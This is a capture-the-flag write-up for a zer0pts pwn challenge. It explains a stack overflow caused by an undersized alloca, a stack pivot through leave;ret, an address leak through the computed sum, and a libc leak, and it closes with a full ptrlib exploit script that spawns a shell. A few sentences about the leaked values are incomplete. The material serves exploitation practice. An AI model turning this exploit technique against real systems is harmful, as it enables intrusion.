zer0pts CTF
pwn
We're given the binary, libc, and the source code.
PIE and RELRO are disabled :)
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols Yes 0 6 chall
The program is so simple that it just calculates the sum.
$ ./chall
n = 3
num[1] = 1
num[2] = 2
num[3] = 3
SUM = 6
We can specify the count of numbers. Let's check the source code.
Firstable, n
must be larger than 0 and less or equal to 22. It uses alloca
to allocate the array.
array = (long*)alloca(n * 4);
At first glance it's secure. However, array
is defined as below.
long *array;
long
is usually 8 bytes long, which may cause Stack Overflow. Let's set n
to 22 and check how it works.
$ ./chall
n = 22
num[1] = 1
num[2] = 2
num[3] = 3
num[4] = 4
num[5] = 5
num[6] = 6
num[7] = 7
num[8] = 8
num[9] = 9
num[10] = 0
num[11] = 1
num[12] = 2
num[13] = 3
num[14] = 4
num[15] = 5
num[7] = 6
num[8] = 7
num[9] = 8
num[10] = 9
You can see that the counter roll backs because it's overwritten during the input.
The stack layout when n=22:
pwndbg> x/24xg $rsp
0x7fffffffdc30: 0x000000000000007b 0x0000000000000b40
0x7fffffffdc40: 0x00000000f70518b0 0xffffffffffffffff
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000
0x7fffffffdc60: 0x00007fffffffdcd0 0x00000000004006e0
0x7fffffffdc70: 0x00007fffffffddc0 0x0000000000000000
0x7fffffffdc80: 0x0000000000000000 0x0000000000400835
0x7fffffffdc90: 0x00007ffff7dd0680 0x00000003f7a65237
0x7fffffffdca0: 0x0000000000000001 0x0000000000000000 <-- i (0x7fffffffdca0)
0x7fffffffdcb0: 0x00007fffffffdc30 0xb62cb18e04737800
0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000
0x7fffffffdcd0: 0x00007fffffffdce0 0x0000000000400a0e <-- return address (0x7fffffffdcd8)
0x7fffffffdce0: 0x0000000000400a20 0x00007ffff7a05b97
We can overwrite the return address by 22th loop but we can't write further more.
n
is not on the stack and we can't change the upper bound. Changing i
will just break the loop. Thus we can't simply do ROP.
You'll find the following code at the end of calc_sum
.
4009b7: c9 leave
4009b8: c3 ret
leave
is an instruction to set rsp to rbp and rbp to saved rbp.
As we can overwrite the saved rbp, we can control rbp here.
On the other hand, the tail of main
function is like this:
400a10: e8 79 fe ff ff call 40088e <calc_sum>
400a15: b8 00 00 00 00 mov eax,0x0
400a1a: 5d pop rbp
400a1b: c3 ret
Unfortunately we don't have leave gadget as main has no variable. Here we set the return address to leave; ret;
in order to control rsp.
We have RSP control, but it's not useful now. We need some leak.
Let's see what the sum tells us.
The sum is basically "the sum" of our input. However, we can control i
during the input, which allows us to skip some data.
Let's see what's after i
:
0x7fffffffdca0: 0x0000000000000001 0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdc30 0xb62cb18e04737800
0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000
0x7fffffffdcd0: 0x00007fffffffdce0 0x0000000000400a0e
There're 2 stack addresses and 1 canary value.
It seems we can leak the stack address, but we can't calculate it by the sum because canary value is unpredictable. So, we call calc_sum
twice by overwriting the return address. The 2 values leaked by the sum are:
*Assume the address at 0x7fffffffdcb0(0x00007fffffffdc30)as
calc_sum
. We can get the stack address by solving this equation.
We have the stack address and can control RSP. So, we can run ROP chain!
We just have to leak the libc base and get the shell.
from ptrlib import *
def calc_sum(n, array):
sock.sendlineafter("n = ", str(n))
for elm in array:
sock.sendlineafter(" = ", str(elm))
sock.recvuntil("SUM = ")
return int(sock.recvline())
elf = ELF("../distfiles/chall")
rop_pop_rdi = 0x00400a83
rop_ret = 0x00400646
rop_leave_ret = 0x00400849
"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("../distfiles/chall")
libc_one_gadget = 0x10a38c
"""
libc = ELF("../distfiles/libc-2.23.so")
sock = Socket("localhost", 9005)
libc_one_gadget = 0xf02a4
#"""
# 1) leak stack address
# We get 14+14+(array)+(canary)+(array+0xb0)+(_start)
n, payload = 22, [0 for i in range(16)]
payload[-2] = 20
payload[-1] = elf.symbol("_start")
r1 = calc_sum(n, payload)
logger.info("r1 = " + str(r1))
# We get 14+14+(array-0xe0)+(canary)+(_start)
n, payload = 22, [0 for i in range(19)]
payload[-5] = 17
payload[-4] = 0
payload[-3] = 0
payload[-2] = 0 # saved rbp = 0
payload[-1] = elf.symbol("_start")
r2 = calc_sum(n, payload)
logger.info("r2 = " + str(r2))
# Now we can calculate the address of array
addr_array = (r1 - 28 - 0xb0) - (r2 - 28 + 0xe0)
logger.info("array = " + hex(addr_array))
# 2) leak libc base
# We can overwrite saved rbp to our rop chain (array)
# and return to `leave` gadget will execute the chain
n, payload = 22, [0 for i in range(17)]
payload[1] = rop_pop_rdi
payload[2] = elf.got("puts")
payload[3] = elf.plt("puts")
payload[4] = elf.symbol("_start")
payload[-3] = 19
payload[-2] = addr_array - 0x1c0
payload[-1] = rop_leave_ret
calc_sum(n, payload)
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))
# 3) get the shell!
n, payload = 22, [0 for i in range(16)]
payload[-2] = 20
payload[-1] = libc_base + libc_one_gadget
calc_sum(n, payload)
sock.interactive()